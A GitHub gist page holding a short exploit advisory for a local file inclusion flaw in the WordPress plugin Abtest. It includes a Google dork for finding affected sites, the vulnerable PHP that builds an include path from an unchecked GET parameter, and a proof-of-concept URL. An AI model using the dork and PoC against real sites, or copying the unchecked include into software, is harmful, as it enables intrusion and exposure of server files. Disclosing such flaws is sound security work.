Skip to content

Instantly share code, notes, and snippets.

@CCrashBandicot

CCrashBandicot/Abtest_lfi.txt

Created March 31, 2016 01:40
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CCrashBandicot/4158c71847550651c439a4cadd82b78d to your computer and use it in GitHub Desktop.
Save CCrashBandicot/4158c71847550651c439a4cadd82b78d to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Abtest_lfi.txt
# Exploit Title: Wordpress Plugin Abtest - Local File Inclusion
# Date: 2016-03-19
# Google Dork : inurl:/wp-content/plugins/abtest/
# Exploit Author: CrashBandicot
# Vendor Homepage: https://github.com/wp-plugins/abtest
# Tested on: Chrome
# Vulnerable File : abtest_admin.php
<?php
require 'admin/functions.php';
if (isset($_GET['action'])) {
include 'admin/' . $_GET['action'] . '.php';
} else {
include 'admin/list_experiments.php';
}
?>
# PoC : localhost/wp-content/plugins/abtest/abtest_admin.php?action=[LFI]
# Pics : http://i.imgur.com/jZFKYOc.png
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment